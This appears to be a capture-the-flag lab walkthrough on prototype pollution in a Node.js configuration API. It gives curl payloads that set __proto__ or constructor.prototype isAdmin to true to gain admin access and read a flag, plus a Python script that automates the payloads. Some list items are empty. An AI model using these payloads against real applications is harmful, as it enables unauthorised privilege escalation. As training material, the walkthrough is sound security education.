This cutting-edge Node.js API handles user configuration with sophisticated object merging, but a subtle flaw in property handling creates a dangerous attack vector. 🔬 Modern applications rely heavily on dynamic object manipulation, making prototype pollution one of the most critical vulnerabilities in JavaScript environments. Master this advanced exploitation technique and discover how a single malicious property can compromise an entire application's security model! 🎯
Navigate to http://
to access the ConfigAPI application. The interface displays:
The application provides a REST API for managing user configurations with JSON-based data processing.
Prototype pollution is a JavaScript vulnerability where attackers can modify Object.prototype or other built-in prototypes. This occurs when applications merge user input into objects without proper validation:
# Vulnerable pattern:
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
target[key] = merge(target[key] || {}, source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
# Problem: No validation of key names!
Key concepts:
Explore the available API endpoints:
# Get current configuration
curl "http:///api/config"
# Update user configuration
curl -X POST "http:///api/config" \
-H "Content-Type: application/json" \
-d '{"theme": "dark", "language": "en"}'
# Check user status
curl "http:///api/status"
Normal API responses show:
Test if the configuration endpoint is vulnerable to prototype pollution:
# Test basic prototype pollution
curl -X POST "http:///api/config" \
-H "Content-Type: application/json" \
-d '{"__proto__": {"polluted": true}}'
# Test constructor.prototype pollution
curl -X POST "http:///api/config" \
-H "Content-Type: application/json" \
-d '{"constructor": {"prototype": {"polluted": true}}}'
Analyze the application to identify security-relevant properties that could be polluted:
# Check if isAdmin property exists
curl "http:///api/status"
# Look for access control properties
curl "http:///api/admin" # Should return 403
Common security properties to target:
Attempt to pollute the prototype with administrative privileges:
# Method 1: Direct __proto__ pollution
curl -X POST "http:///api/config" \
-H "Content-Type: application/json" \
-d '{"__proto__": {"isAdmin": true}}'
# Method 2: Constructor.prototype pollution
curl -X POST "http:///api/config" \
-H "Content-Type: application/json" \
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
# Method 3: Nested object pollution
curl -X POST "http:///api/config" \
-H "Content-Type: application/json" \
-d '{"settings": {"__proto__": {"isAdmin": true}}}'
Check if the prototype pollution successfully granted administrative access:
# Check updated status
curl "http:///api/status"
# Try accessing admin endpoint
curl "http:///api/admin"
# Test admin functionality
curl "http:///api/admin/users"
Successful exploitation should show:
Once administrative access is achieved, the flag becomes accessible through multiple methods:
# Method 1: Admin status endpoint
curl "http:///api/admin/status"
# Method 2: System information endpoint
curl "http:///api/admin/system"
# Method 3: Visit admin panel in browser
# Navigate to http:///admin
The admin endpoints reveal system information including the security flag when proper administrative privileges are detected.
Alternative exploitation methods for different scenarios:
# JSON path traversal
curl -X POST "http:///api/config" \
-H "Content-Type: application/json" \
-d '{"user": {"preferences": {"__proto__": {"isAdmin": true}}}}'
# Multiple property pollution
curl -X POST "http:///api/config" \
-H "Content-Type: application/json" \
-d '{"__proto__": {"isAdmin": true, "role": "admin", "permissions": ["all"]}}'
Automated script for prototype pollution testing:
import requests
import json
def test_prototype_pollution(target_url):
base_url = f"http://{target_url}"
# Test different pollution payloads
payloads = [
{"__proto__": {"isAdmin": True}},
{"constructor": {"prototype": {"isAdmin": True}}},
{"settings": {"__proto__": {"isAdmin": True}}}
]
for payload in payloads:
response = requests.post(f"{base_url}/api/config", json=payload)
print(f"Payload: {payload}")
print(f"Response: {response.status_code}")
# Check if admin access granted
status = requests.get(f"{base_url}/api/status")
if "admin" in status.text.lower():
print("✅ Admin access achieved!")
admin_response = requests.get(f"{base_url}/api/admin")
print(f"Admin endpoint: {admin_response.status_code}")
break
test_prototype_pollution("<target-ip>")
This challenge demonstrates a genuine prototype pollution vulnerability:
Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.